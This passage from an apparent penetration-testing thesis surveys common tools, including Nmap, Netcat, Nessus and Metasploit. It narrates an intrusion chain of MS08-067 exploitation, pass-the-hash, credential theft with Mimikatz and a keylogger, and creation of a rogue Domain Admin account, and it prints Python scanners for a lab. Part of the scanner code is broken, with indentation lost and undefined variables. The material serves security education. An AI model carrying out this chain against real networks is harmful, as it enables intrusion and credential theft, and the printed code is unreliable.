A good report has an executive summary, which targets personnel who are part of
the Chief suite and or the Advisory Board. It should also contain a storyline to explain what
was done during the engagement, the actual security findings or weaknesses, and the
positive controls that the organization has established. Each noted security finding should
include a proof of concept when possible. In addition to an executive summary, it should
include a technical report, which offers the technical details of the test, from the discovery
phase to the exploration phase.
1.6 PENETRATION TESTER’S TOOL BOX
There are several books, whitepapers and articles on the Internet written from the
security tools perspective, with in-depth discussions of the various usages, switches, and
27
techniques to implement these tools. This section discusses the most common, free and
open source tools used to conduct penetration testing, with examples of how and when they
are supposed to be used. Additionally, this section highlights the potential gaps where
custom Python scripts or tools may be needed.
1.6.1 THEHARVESTER AND RECON-NG
These tools are specifically focused on identifying data related to Open Source
Intelligence (OSINT) gathering. The theHarvester tool is Python based and does a decent
job of finding details from search engines and social media, but Recon-NG is the new kid
on the block. Recon-NG is a console-based framework that was also created in Python,
which can query a number of information repositories. This expanded capability means
that Recon-NG is often the first tool that assessors go to now.
Recon-NG has not replaced theHarvester, but theHarvester is often not used unless Recon-
NG has not found sufficient details.
1.6.2 NMAP
Network Mapper (Nmap), by Fyodor, is one of the first tools that were created
for administrators and security professionals. It is scalable, has numerous stealth options
and can be integrated into scripts and programs. Nmap can be used to scan for what hosts
are available on the network, what services the hosts are offering, what operating systems
are running, what packet filters/firewalls are in use, with dozens of other characteristics.
The output from the Nmap is a list of scanned targets, with supplemental information on
each depending on the options used. The port table gives the key information. The port
table lists the port number and protocol, service name, and state. The state is either open,
28
filtered, closed, or unfiltered. Open means that service on the target host is listening for
connections/packets on that port. Filtered means that a firewall, filter, or other network
obstacle is blocking the port so that Nmap cannot tell whether it is open or closed. Closed
ports have no application listening to them though they could open up at any time. Ports
are classified as unfiltered when they are responsive to Nmap probes, but Nmap cannot
determine whether they are open or closed. The following example shows how to do a
stealthy SYN scan against each host machine that is up out of the 255 hosts on “Class C”
network where 192.168.0.3 resides. It also attempts to identify what OS is running on each
host that is up and running.
nmap -sS -O 192.168.0.13/24
1.6.3 NETCAT
Netcat, written by Hobbit, has many uses, but one nifty feature is that it can be used
as an extremely lightweight port scanner for both Unix and Windows platforms. It is
commonly referred as Swiss Army Knife among the security professional. At the basic
level, this tool provides basic TCP and UDP port scanning functionalities. The following
example demonstrates the use of Netcat to find out if any port between 1-80 was open and
listening host 192.168.0.13:
[root] nc -v -z -w2 192.168.0.13 1-80
[192.168.0.13] 80 [tcp/www] open
[192.168.0.13] 42 [?] open
[192.168.0.13] 25 [tcp/smtp] open
[192.168.0.13] 23 [tcp/telnet] closed
[192.168.0.13] 21 [tcp/ftp] open
29
1.6.4 NESSUS
Nessus is a proprietary vulnerability scanner developed by Tenable Network
Security. As opposed to the other tools described in this section, Nessus is only used to
detect potential vulnerabilities, and weakness on the network and systems like remote
cracker control, default passwords, DoS attack, missing updates and patches by utilizing
the security vulnerability database that contains updated information of all known
vulnerabilities.
Scanning a system or network is straightforward. After logging in the web
interface, configure the policies to assess the system or network. Thousands of plugins can
be used to find vulnerabilities which provides the assessment intelligence.
After policies have been configured, select the device IP address or range of the network
that will be assessed. Once the targets are selected, scan can be launched, and Nessus will
start its vulnerability analysis. After completion of scan, Nessus will present a list of items
it discovered which can be browsed by severity level. Nessus ranks severity level using
critical, high, medium, low and info scale. In addition to this, detailed explanation of each
vulnerability along with a complete downloadable report with a wide range of format to
incorporate the vulnerability are provided.
From the point of view of the stability and integrity of the system under test, the
fact that Nessus does not exploit the vulnerabilities gives the penetration tester more
confidence in the use of this tool. However, penetration tester should not just lunch Nessus
against the entire organization’s IP address range without a plan and expect to get anything
30
of significant value. Caution should be taken as some plugins are potentially disruptive in
nature causing a lot of trouble. An advantage of Nessus is that the user is able to select
which types of scans the application is allowed to run. Therefore, the penetration tester can
adjust the behavior of the scanner and assure that only safe techniques are used. Nessus
can be extended with additional plugins or custom scripts, thus the penetration tester can
adapt this tool to the specific system under test.
If configured properly, Nessus may be suitable for use in production environments.
However, the approach of identifying security issues based on a database of well-known
vulnerabilities limits this tool to detection of only well-known issues. Moreover, security
issues identified by matching system properties with well-known vulnerabilities often do
not add substantial value to the results of the penetration test, since the majority of these
issues can be fixed with the same solution, that is implementing a patch management
mechanism in order to maintain all software in the system up-to-date. However, there might
be an added value in detecting such vulnerabilities. When the issue does not concern a
specific product for which a relatively straightforward patching mechanism is possible, but
instead involves generic components such as protocols and libraries, then the issue is not
as easily fixable, and the detection of such an issue represents important feedback for the
customer.
1.6.5 METASPLOIT
Metasploit is the security framework originally developed in Perl by H.D. Moore
in 2003 and rewritten in Ruby and acquired by Rapid7 in 2009. It incorporates many
aspects of security testing from reconnaissance, exploit development, payload packaging,
31
and delivery of exploits to vulnerable systems and wraps them into a single application and
aids in penetration testing. A statement on Rapid7’s website illustrates the commitment of
the company to always maintaining the Metasploit framework as open-source software and
that it will be free to download and use. From the framework, Rapid7 has created a
professional product, aptly called Metasploit Pro.
Key steps for exploiting a system using the Metasploit Framework can be broken
down into following steps as:
1. Choose and configure an exploit to be targeted.
2. Validate whether the target system is vulnerable to the chosen exploit.
3. Select and configure a payload that will be used.
4. Choose and configure the encoding schema to make sure that the payload
can evade Intrusion Detection Systems with ease.
5. Execute the exploit.
The following example provide the context for the tool covered here by
highlighting how a pentester achieves access, elevates privileges, and potentially gains
access to critical data at a high level.
As a penetration testing is conducted, an pentester identifies a Windows XP host
and determines whether it has the vulnerability MS08-067, the pentester exploits it with
the associated Metasploit module called ms08_067. The pentester will escalate privileges
and then extract hashes from the exploited system by using the smart_hashdump module.
The pentester will then copy the local administrator hash from the extracted hashes, which
is correlated to the Security Identifier (SID) of 500 stored in the pwdumd hash format.
32
The pentester will scan all the hosts in the area and determine whether the hosts
have port 445 open by using the nmap tool. These may be viable targets for a Pass-the-
Hash (PtH) attack, but the pentester has to determine whether these hosts have the same
local administrator password. So, the assessor creates a list of IP addresses with the open
port 445 Server Message Block (SMB) over IP, by parsing the output with the Unix/Linux
tools cat, grep, and cut. With this list, the assessor executes an SMB login with the
smb_login Metasploit module against all the hosts in the newly created list, with the local
administrator hash, and the Domain set to WORKGROUP.
Each host that responds with a successful login would be a viable target for a PtH
attack. The pentester has to find a host with new information or critical data that would be
beneficial for the test to move forward. Since the pentester has a foothold on the network
through the Windows XP box, he/she would just need to find out who the Domain
Administrators are and where they are logged in.
So, he/she would query members of the Domain Admins group from the Domain
that the Windows XP host was attached to with the enum_domain_group_users
Metasploit module. The assessor could then identify where the Domain Admins were
logged into with the community Metasploit module called loggedin_users or the built-
in modules called psexec_loggedin_users or enum_domain_users. Hosts that had
responded with a successful login message from the smb_login module would be tested
with either of the modules and the relevant domain name. The hosts that responded with
the username of one of the Domain Administrators on it would be the best place to exploit.
The assessor could then execute a PtH attack and drop a payload on the box with the psexec
33
Metasploit module. This would be done with the same local administrator hash and domain
set to WORKGROUP.
Once a foothold was established on that system, the assessor can determine whether
the Domain Administrator was logged into the system currently or had done so in the past.
The pentester could query the system and identify the currently logged in users, and if they
were active. If the user was currently active in the session, the assessor could set up a key
logger with Metasploit and lock the screen with the smartlocker module. This used to be
broken up into multiple modules in the past, but today, it is efficient. When the user
unlocked the screen, he/she would enter the credentials for the account and in turn provide
them to the pentester.
If the user was not currently active, the assessor could try and extract the credentials
from memory with tools like Mimikatz, by loading the capability into the Meterpreter
session with load mimikatz and running wdigest. If no credentials were in memory, the
pentester could try and impersonate the user by stealing a token that remained in memory
for the cached credentials by loading the Incognito tool into Meterpreter with the load
incognito command. Using this access, the assessor could then create a new user on the
domain and then add the user to the Domain Admins group on Domain Controller. To
identify the applicable domain controller, the assessor would ping the domain name, which
would respond with the IP of the DC.
34
Finally, the pentester could create his/her new malicious user with the add_user
command and add_group_user to the Domain Admins group pointed to the DC IP with
the -h flag. This Domain Administrator may provide additional accesses around the
network or have the ability to create and/or modify an additional account with the relevant
accesses as needed.
1.6.6 FAST-TRACK AUTOPWN
Fast-Track is a python-based open-source project based on the Metasploit
framework providing penetration testers with automated tools to identify and exploit
vulnerabilities in a network. Fast-Track extends Metasploit with additional features and is
composed of several tools concerned with different aspects of the penetration test: MSSQL
Figure 1: Metasploit Framework
Architecture
35
server attacks, SQL injection, Metasploit Autopwn Automation, Mass Client Side attacks,
additional exploits not included in the Metasploit framework, and Payload generation.
The most interesting Fast-Track tool is Metasploit Autopwn Automation (or simply
Autopwn). Autopwn aims at automating the procedure that a penetration tester would
follow when trying to exploit a remote network using the Metasploit framework. As
explained in section X.X, this procedure consists of gathering information about the
target(s), identify a vulnerability, select an exploit to leverage that vulnerability, configure
a payload to be executed in case of successful exploitation, optionally encode the payload
to avoid detection, and finally launch the exploit. Autopwn automates the entire procedure
by running an nmap scan and, based on the scan result, unleashing every possible exploit
that matches the characteristics of the target machine.
Autopwn provides an extremely high level of automation and depending on the
quality of the exploit database, it can be very effective. However, there is an obvious
drawback. This tool is excessively visible (i.e., detectable) and aggressive and it is therefore
likely that the system under test will be subjected to temporary or permanent failures.
1.6.7 CORE SECURITY’S IMPACT
Core Security’s Impact is a commercial application for automated penetration
testing developed by Core Security Technologies. This GUI-based software aims at easing
the job of corporate security administrators who want to perform penetration testing on
their systems. Core Impact automates all phases of a penetration test, from information
gathering to report generation.
36
The basic concept corresponds to the procedure used by the majority of automated
penetration testing tools: the software scans a range of hosts in a network, looking for
vulnerabilities for which it has suitable exploits. Additionally, after the vulnerability
exploitation, Core Impact is able to install agents on the compromised machines that
provide different levels of remote access. These active agents can launch additional tests
from the new location, allowing the penetration tester to move from host to host within the
system under test.
The exploits used by Core Impact are constantly updated and available to customers
who purchase the product. The available exploit database contains a large number of up-
to-date exploits giving Core Impact the ability to test a wide range of systems. The exploits
and tools used by Core Impact are written in Python and compiled at run-time. This gives
experienced penetration testers the possibility to extend the application with their own
custom additions. Another advantage of using this product is that it provides a wealth of
information once the test is finished, including a summary of all activities and modules
executed, details of every tested host in the network, and a description of the identified
vulnerabilities.
Core Impact presents the same issues that were mentioned previously, that derive
from the active use of exploits. This characteristic is common to the majority of automated
tools for penetration testing. As a result, the uncontrolled use of exploits is likely to cause
service interruption in the system under test, therefore automated tools following this
approach are not suitable for use in production environments.
37
1.7 THE LIMITATIONS OF PENTESTING
Penetration tests are useful practices that can have tremendous value to tighten
security of any system or product. However, penetration tests have limitations. First,
penetration tests might not identify all the vulnerabilities due to time restriction or a
project-focused test’s limitation. Most organization cannot test everything, because of
resource and time restriction but in real-world attackers may find flaws in areas that were
not part of the penetration test project’s scope. The attackers have ample amount of time
to plot their attack, plan it out, whereas most penetration tests processes just last for a short
span of time.
Furthermore, while a methodology can be followed, penetration testing is not an
exact science. For example, one tester may examine multiple low risk vulnerabilities and
when reviewed individually may conclude no serious risk exists. On the other hand, next
tester, through experience, may see that when the individual low risk vulnerabilities are
taken as a whole, they lead to a significant compromise of the environment. In addition to
the limitations of project-focused tests and the time restriction, penetration testing is limited
by the current known exploits which are available publicly. Normally testers do not write
their own exploits but instead rely on exploits written by others. Even for those testers who
do write exploits, often there is not enough time to create a custom exploit for a newly
discovered a flaw in a given target environment.
However, penetration test only provides no improvement in the security of a
computer or network system, nor it guarantees that a successful attack will not occur, but
it does significantly reduce the likelihood of a successful attack if the actions are taken to
38
address vulnerabilities that were found as a result of conducting the penetration test.
Although, penetration tests cannot replace the traditional IT security tests, nor is it a
substitute for a general security policy but it supplements the established review procedures
and tackles the new threats. The effect of a penetration test is, however, relatively short-
lived. The more protection the systems require, the more often penetration testing should
be done in order to reduce the likelihood of a successful attack.
1.8 CONCLUSION
Penetration tests on a large scale are beneficial in tracing critical vulnerabilities on
any organizational network, helping individual companies to either advance their
technology or enhance the security by mitigating the loop holes. The main objectives of a
successful penetration include security incidents identification, determining the ease of the
vulnerable aspects, and examining the extent of reachability. With these quality objectives
and supportive environment, penetration testing is surely the highest level of network
security assessment. Though the penetration testing displays limitations of project-focused
tests and the time restriction, these completely dependent on the pentester and not the
procedure itself.
39
CHAPTER III: VIRTUAL LAB SETUP AND METHODOLOGY
Laboratory setup and methodology used to conduct penetration test was based on
the problem statements and will be described in this chapter. The main focus behind this
thesis work was to determine whether the custom-made tools testing can provide the same
results as standard automated penetration testing procedures. These tools should be able to
collect in a non-aggressive way the information about services and other software
necessary to detect the same vulnerabilities reported by other tools.
3.1 SETUP
One laptop, had a Kali Linux installed on it, was used for conducting penetration
test. Kali Linux is a Debian-based Linux distribution that comes with a wide variety of
preinstalled security tools. Using VMware Workstation Pro (version: 12.1.1 build-
3770994), three separate virtual machines were created on the laptop. VMware
Workstation 12 Pro, is a virtualization software which allowed to install different operating
systems on separate virtual machines on the same physical machines, to emulate a cross-
platform environment. Two servers, one client and attacker virtual machines were created
on this laptop. All four virtual machines including served as the target machines
throughout the test but only one was used for feasibility purpose. Windows XP SP3 32-
bits, Windows 7 Professional Service Pack 1 32 bits, Ubuntu 8.10, were the operating
system installed on those virtual machines.
40
3.2 CONFIGURATION
Because I used Kali Linux to attack the target systems (Windows XP only) over a network,
I needed to place all the virtual machines on the same virtual network. The virtual machines
were configured and the interface for each machine was set to ’Bridged Network’. The
bridged network connects the virtual machines directly to the local network using the same
connection as the host system. As far as the local network is concerned, the virtual
machines are just another node on the network with their own IP address. Running the
command ifconfig on a Linux terminal, Kali Linux automatically pulled an IP address
from the Bridged network.
41
42
The configuration used for the target Windows XP machine was straightforward. Static IP
address was assigned to it and some vulnerable software (Zervit, SLMail, War-FTP,
XAMPP, etc.) were installed on it. Here, only War-FTP is interesting to us.
3.3 METHODOLOGY
Performing the penetration test on the production environment was tempting, in
other words, on the Cybersecurity department virtual lab, but learning and understanding
the penetration test against the production system could be risky. Therefore, to familiarize
with, what penetration test was, how penetration methodology could be followed, which
safe tools could be used, laboratory environment was setup as shown in Figure 2. This
networked laboratory setup was an attempt to simulate attacks on a network with the partial
knowledge about the target system. Penetration test in this networked environment was
conducted using the grey box approach. This approach was used to reduce the number of
irrelevant tests and minimize the possibility of damage to the host system or home network.
43
It was important to understand penetration test, was more than just hacking into a system
or network. As a result, I had to also understand the environment, as it played a vital role.
Hence, such penetration test should be performed, only when a deeper understanding about
the system was gained.
44
CHAPTER 4: PYTHON PENETRATION TESTING
Twenty-two years before the StuxNet worm crippled the Iranian nuclear power
plants in Bushehr and Natantz (Albright, Brannan, & Walrond, 2010), a graduate student
at Cornell launched the first digital munitions. Robert Tappen Morris Jr., son of the head
of the NSA’s National Computer Security Center, infected six thousand workstations with
a worm aptly dubbed, the Morris Worm (Elmer-Dewitt, McCarroll,& Voorst, 1988). While
6000 workstations seem trivial by today’s standards, this figure represents ten percent of
all computers that were connected to the Internet in 1988. Rough estimates by the US
Government Accountability Office put the cost somewhere between $10 and $100 million
dollars to eradicate the damage left by Morris’s worm (GAO,1989). So how did it work?
Morris’s worm used a three-pronged attack in order to compromise systems. It first
took advantage of vulnerability in the Unix sendmail program. Second, it exploited a
separate vulnerability in the finger daemon used by Unix systems. Finally, it attempted to
connect to targets using the remote shell (RSH) protocol using a list of common usernames
and passwords. If any of the three attack vectors succeeded, the worm would use a small
program as a grappling hook to pull over the rest of the virus (Eichin & Rochlis, 1989).
While some of the advanced methods (digital signatures, encrypted payloads, and
alternative propagation schemes) aided in the attack, The Conficker or W32DownandUp
Worm at its very heart, holds some similarities in attack vectors to the Morris Worm of
1988 (Nahorney, 2009).
45
At its base infection routine, Conficker utilized two separate attack vectors. First,
it utilized a zero-day exploit for the Windows server service vulnerability. Taking
advantage of this vulnerability allowed the worm to cause a stack corruption that executed
shellcode and downloaded a copy of it to the infected host. When this method of attack
failed, Conficker attempted to gain access to a victim by brute forcing credentials to the
default administrative network share (ADMIN$).
Would a similar attack still work today and can we learn to write something that
would be almost identical? These questions provide the basis for the rest of the penetration
testing phases. Morris wrote the majority of his attack in the C programming language.
However, while C is a very powerful language, it is also very challenging to learn. In sharp
contrast to this, the Python programming language has a user-friendly syntax and a wealth
of third party modules. This provides a much better platform of support and makes it
considerably easier for most programmers to initiate zero-day attacks. In the following
sections, I will use Python to recreate the primary attack vectors for Conficker.
46
4.1 INFORMATION GATHERING
4.1.1 IP SCANNER
When identifying vulnerabilities, you need to actively search for issues that will
lead to compromise in the exploitation phase. Although some security firms will just run
an automated exploitation tool and hope for the best, a skilled pentester will garner better
results than any tool on its own.
Reconnaissance serves as the first step in a safe penetration testing. A good
pentester must discover where the vulnerabilities are before selecting and choosing exploits
for a target. A common choice for non-aggressive scanning is TCP SYN scanning. I have
written a full program with multithreading that identifies the live host from a range of IP
addresses by carrying out a TCP scan instead of a ping sweep. Because ping sweep scanner
works on the ICMP ECHO request and the ICMP ECHO reply. Many users turn off their
ICMP ECHO reply feature or use a firewall to block ICMP packets. In this situation, a ping
sweep scanner might not work. In this case, we need a IP TCP scanner.
import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
''' section 1 '''
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
dic = collections.OrderedDict()
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
47
t1= datetime.now()
''' section 2 '''
class myThread (threading.Thread):
def __init__(self,st,en):
threading.Thread.__init__(self)
self.st = st
self.en = en
def run(self):
run1(self.st,self.en)
''' section 3 '''
def scan(addr):
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((addr,135))
if result==0:
sock.close()
return 1
else :
sock.close() def run1(st1,en1):
for ip in xrange(st1,en1):
addr = net2+str(ip)
if scan(addr):
dic[ip]= addr
'''section 4'''
total_ip =en1-st1
tn =20 # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
try:
for i in xrange(total_thread):
#print "i is ",i
en = st1+tn
if(en >en1):
en =en1
thread = myThread(st1,en)
thread.start()
threads.append(thread)
st1 =en
except:
print "Error: unable to start thread"
print "\t Number of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
dict = collections.OrderedDict(sorted(dic.items()))
48
for key in dict:
print dict[key],"-->" "Live"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total
In the section 1 section, I have taken an ordered dictionary because it remembers
the order in which its contents are added. So, if I want to know which thread gives the
output first, then the ordered dictionary fits here. The section 2 section contains the
threading class, and the class myThread (threading.Thread): statement initializes
the threading class. The self.st = st & self.en = en statements take the start and
end range of the IP address. The section 3 section contains the definition of the run1
function, which is the engine of the car, and is called by every thread with a different IP
address range. The dic[ip]= addr statement stores the host ID as a key and the IP address
as a value in the ordered dictionary. In the section 4, the total_ip variable is the total
number of IPs to be scanned. The significance of the tn =20 variable is that it states that
20 IPs will be scanned by one thread. The total_thread variable contains the total
number of threads that need to scan total_ip, which denotes the number of IPs. The
threads= [] statement creates an empty list, which will store the threads.
The for loop for i in xrange(total_thread): produces threads.
en = st1+tn
if(en >en1):
en =en1
thread = myThread(st1,en)
thread.start()
threads.append(thread)
st1 =en
The preceding code produces the range of 20-20 IPs, such as st1-20, 20-40 ......-en1.
The thread = myThread(st1,en) statement is the thread object of the threading class.
49
for t in threads:
t.join()
The preceding code terminates all the threads. The next line dict =
collections.OrderedDict(sorted(dic.items())) creates a new sorted dictionary
dict, which contains IP addresses in order. The next lines print the live IP in order. The
threading.activeCount() statement shows how many threads are produced. One
picture saves 1000 words. The following figure does the same thing:
50
There should be no difficulty in understanding the program. The following image
shows everything:
The output of my TCP IP scanner gave was as follows:
Let me remind you that 192.168.0.13 is the IP address of the virtual Windows XP target
machine.
51
4.1.2 PORT SCANNER
Consider a situation where users normally use their computer to download a game,
and a Trojan is identified during the installation of the game. The Trojan goes into hidden
mode and opens a port and sends all the keystrokes log information to the hacker. In this
situation, port scanning helps to identify the unknown services that are running on the
victim's computer.
An attacker routinely performs a port scan in the opening salvo of any successful
cyber assault. One type of port scan includes sending a TCP SYN packet to a series of
common ports and waiting for a TCP ACK response that will result in signaling an open
port. In contrast, a TCP Connect Scan uses the full three-way handshake to determine the
availability of the service or port.
52
TCP's three-way handshake serves as logic for the port scanner; in my TCP/IP
scanner, you have seen that the port (137 or 135) is one in which IP addresses are in a
range. However, in the port scanner, IP is only one port in a range. Take one IP and try to
connect each port as a range given by the user; if the connection is successful, the port
opens; otherwise, the port remains closed.
I have stated some points that should be taken into account for a good port scanner:
• Multithreading should be used for high performance
• The port scanner should have the capability to take host names as well as
domain names
• The port should provide the service name with the port number
• The total time should be taken into account for port scanning
• To scan ports 0 to 65536, the time taken should be around 3 minutes
Based on these quality objectives, I have written my port scanner, which I usually
use for port scanning:
import threading
import time
import socket, subprocess,sys
from datetime import datetime
import thread
import shelve
''' section 1 '''
subprocess.call('clear',shell=True)
shelf = shelve.open("mohit.raj")
data=(shelf['desc'])
''' section 2 '''
class myThread (threading.Thread):
def __init__(self, threadName,rmip,r1,r2,c):
threading.Thread.__init__(self)
self.threadName = threadName
self.rmip = rmip
53
self.r1 = r1
self.r2 = r2
self.c =c
def run(self):
scantcp(self.threadName,self.rmip,self.r1,self.r2,self.c)
''' section 3 '''
def scantcp(threadName,rmip,r1,r2,c):
try:
for port in range(r1,r2):
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#sock= socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
socket.setdefaulttimeout(c)
result = sock.connect_ex((rmip,port))
if result==0:
print "Port Open:---->\t", port,"--", data.get(port, "Not in
Database")
sock.close()
except KeyboardInterrupt:
print "You stop this "
sys.exit()
except socket.gaierror:
print "Hostname could not be resolved"
sys.exit()
except socket.error:
print "could not connect to server"
sys.exit()
shelf.close()
''' section 4 '''
print "*"*60
print " \tWelcome this is the Port scanner of Delvain\n "
d=raw_input("\ t Press D for Domain Name or Press I for IP Address\t")
if (d=='D' or d=='d'):
rmserver = raw_input("\t Enter the Domain Name to scan:\t")
rmip = socket.gethostbyname(rmserver)
elif(d=='I' or d=='i'):
rmip = raw_input("\t Enter the IP Address to scan: ")
else:
print "Wrong input"
#rmip = socket.gethostbyname(rmserver)
r11 = int(raw_input("\t Enter the start port number\t"))
r21 = int (raw_input("\t Enter the last port number\t"))
conect=raw_input("For low connectivity press L and High connectivity
Press H\t")
if (conect=='L' or conect=='l'):
c =1.5
54
elif(conect =='H' or conect=='h'):
c=0.5
else:
print "\t wrong Input"
print "\n Delvain's Scanner is working on ",rmip
print "*"*60
t1= datetime.now()
tp=r21-r11
tn =30
# tn number of port handled by one thread
tnum=tp/tn # tnum number of threads
if (tp%tn != 0):
tnum= tnum+1
if (tnum > 300):
tn = tp/300
tn= tn+1
tnum=tp/tn
if (tp%tn != 0):
tnum= tnum+1
''' section 5 '''
threads= []
try:
for i in range(tnum):
#print "i is ",i
k=i
r2=r11+tn
# thread=str(i)
thread = myThread("T1",rmip,r11,r2,c)
thread.start()
threads.append(thread)
r11=r
except:
print "Error: unable to start thread"
print "\t Number of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , tot
55
In section 1, the subprocess.call('clear',shell=True)statement works in
Linux to clear the screen. The next two lines are related to the database file that stores the
port information, which will be explained while creating the database file. In section 2,
the myThread class extends the threading class, or you could say, inherits the threading
class. In the next line, the def __init__(self, threadName,rmip,r1,r2,c): statement
takes 5 values; the first one is threadName, which stores the thread name; actually, I have
taken it for debugging purposes. If any thread fails to work, we can print the thread name.
The rmip argument is a remote IP address; r1 and r2 are the first and last port numbers,
and c is the connection mode; section 4 provides all values to section 1. From the
run()function, the scantcp()function is called. Section 3 is the engine of the car. The
data.get(port, "Not in Database") statement means that if the port key is found in
the dictionary database, then it will display the value; otherwise, it will print Not in
Database. Section 4 interacts with users. You can give the hostname as well as the IP
address, or you can give the domain name too; the if...else statements do this task. The
r11and r21 variables store the first and last port numbers. The next if...else statements
define the value of c if you think connectivity with the target machine is poor, but with no
loss of packet, then you can press H; if connectivity is just good, then you can press L. The
tn=30 variable defines the number of ports handled by a single thread. The tnum variable
calculates the total number of threads needed to accomplish the task.
I have written the following code after performing lots of experiments:
if (tnum > 300):
tn = tp/300
tn= tn+1
tnum=tp/tn
if (tp%tn != 0):
tnum= tnum+1
56
When the total number of threads exceeds 300, the threads fail to work. It means
the number of threads must be less or equal to 300. The preceding code defines the new
values of tn and tnum. In Section 4, nothing is new as you have seen everything before
in IP scanners.
The output of my port scanner is shown here:
The exploit I performed on my target machine was focused on the FTP service running on
it.
I also have created a database file that contains the description of all the port
numbers, here is the code:
import shelve
def create():
shelf = shelve.open("database", writeback=True)
shelf['desc'] ={}
57
shelf.close()
print "Dictionary is created"
def update():
shelf = shelve.open("database", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
data[port]= raw_input("\n Enter the description\t")
shelf.close()
def del1():
shelf = shelve.open("database", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
del data[port]
shelf.close()
print "\n Entry is deleted"
def list1():
print "*"*30
shelf = shelve.open("database", writeback=True)
data=(shelf['desc'])
for key, value in data.items():
print key, ":", value
print "*"*30
print "\t Program to update or Add and Delete the port number
detail\n"
while(True):
print "Press"
print "C for create only one time create"
print "U for Update or Add \nD for delete"
print "L for list the all values "
print "E for Exit "
c=raw_input("Enter : ")
if (c=='C' or c=='c'):
create()
elif (c=='U' or c=='u'):
update()
elif(c=='D' or c=='d'):
del1()
elif(c=='L' or c=='l'):
list1()
elif(c=='E' or c=='e'):
exit()
else:
print "\t Wrong Input"
58
In the preceding program, I stored only one dictionary that contains the key as the
port number and the values as the description of the port number. The dictionary name is
desc. So I made desc a key of the shelf to store in a file named database.
def create():
shelf = shelve.open("database", writeback=True)
shelf['desc'] ={}
shelf.close()
print "Dictionary is created"
This create()function is just an empty dictionary. The desc dictionary is a
dictionary in the program, whereas shelf['desc'] is a dictionary in the file.
def update():
shelf = shelve.open("database", writeback=True)
data=(shelf['desc'])
port =int(raw_input("Enter the Port: "))
data[port]= raw_input("\n Enter the description\t")
shelf.close()
This update() function updates the dictionary. In the writeback=True statement,
the Writeback flag shelf remembers all the received values from the files, and each value,
which is currently in the cache, is written back to the file. The data=(shelf['desc'])
dictionary is the shelf dictionary, which has been assigned to the variable data. The del1()
function deletes any port number from the dictionary. The list1(): function shows the
full dictionary. To accomplish this, the for loop is used.
59
The output of the updated.py progam is shown below:
Running back the port scanner with the updated database:
60
4.1.3 DETECTING A SYN SCAN
SYN scans are difficult to detect especially stealth ones because they are just trying
to leave a connection open and relying on the timeout to clear the connections. This is an
expected anomaly that takes place between two computers if one goes down or just never
returns the last ACK. SYN scans are harder for sensors to typically detect because of their
natural occurrence “in the wild”; however, should you flood the network with them, it will
trigger an alarm.
61
4.2 VULNERABILITY ASSESSMENT
The Morris Worm succeeded in part because of a stack-based buffer overflow
against the Finger service (US vs. Morris &, 1991). This class of exploits succeeds because
a program fails to sanitize or validate a user input. Although the Morris Worm made use
of a stack-based buffer overflow attack in 1988, it was not until 1996 that Elias Levy (a.k.a.
Aleph One) published the seminal paper, “Smashing the Stack for Fun and Profit” in
Phrack Magazine (One, 1996).
When considering stack-based buffer overflow attacks, you need to look for places
where the user controls the size and content of the input. In the case of this attack,
unchecked user data overwrites the next instruction pointer [EIP] to take control of a
program’s flow. The exploit directs the EIP register to point to a location containing
shellcode inserted by the attacker. A series of machine code instructions, shellcode, can
allow the exploit to add an additional user on to the target system, make a network
connection with the attacker, or download a stand-alone executable. Endless shellcode
possibilities exist, solely depending on the size of available space in memory.
62
4.2.1 PROGRAM’S MEMORY
Before we dive into explaining the exploit I have written, we need to get a handle
on the basics of how memory works. My goal was to manipulate memory and trick the
CPU into executing instructions on my behalf. However, when you don’t have access to a
program’s source code, you have to use other methods to find potentially exploitable
security issues. I used an exploit development technique called fuzzing to send various
inputs to the exploitable program that the developer never intended the code to process. It
basically involved overfilling a variable on the program’s memory stack and overwriting
63
adjacent memory locations. But first, we need to know a little bit about how a program’s
memory is laid out.
The text segment contains the program code to be executed, while the data segment
contains global information for the program. At higher addresses, we have a portion shared
by the stack and heap, which are allocated at runtime. The stack is fixed in size and is used
to store function arguments, local variables, and so on. The heap holds dynamic variables.
The stack consumption increases as more functions or subroutines are called, and the top
of the stack points at lower memory addresses as more data is stored on the stack.
Our Intel-based CPU has general-purpose registers where it can store data for future
use. These include:
ESP, EBP, and EIP were particularly interesting to me. ESP and EBP together keep
track of the stack frame of the currently executing function.
As shown in the Figure below, ESP points to the top of the stack frame at its lowest
memory address, and likewise, EBP points to the highest memory address at the bottom of
the stack frame. EIP holds the memory address of the next instruction to be executed.
64
Because my goal was to hijack execution and make the target machine execute what I
wanted, EIP seemed like a prime target for compromise. But how do we get our instructions
to EIP? EIP is read only, so we can’t just put a memory address to be executed in this
register; I needed to be a bit cleverer.
The stack is a last-in, first-out data structure. You can think of it like a stack of
lunch trays at a cafeteria. The last tray that is added to the stack is the first tray that is taken
off when one is needed. To add data to the stack, a PUSH instruction is used. Likewise, to
remove data from the stack, we use a POP instruction. Keep in mind that the stack
consumption increases to lower memory addresses, so when data is pushed onto the current
stack frame, ESP moves to a lower address in memory.
When a program function is executed, a stack frame for its information (such as
local variables) is pushed onto the stack. Once the function finishes executing, the entire
stack frame is unwound, ESP and EBP point back to the caller function’s stack frame, and
execution continues in the caller function where it left off.
65
However, the CPU must know where in memory to continue from, and it obtains
that information from the return address, which is pushed onto the stack when a
function is called.
Say, for instance, that I am running a C program. Naturally, the function main is
called when the program begins, and a stack frame is allocated for it. main then calls
another function, function. Before pushing a stack frame for function1 onto the stack
and handing over execution, main notes where execution will need to continue when
function1 returns (typically the line of code directly after the call to function1) by
pushing this value—its return address—onto the stack. Figure below shows the stack
after main’s call to function1.
66
After function1 finishes, it returns, its stack frame is unwound, and the stored
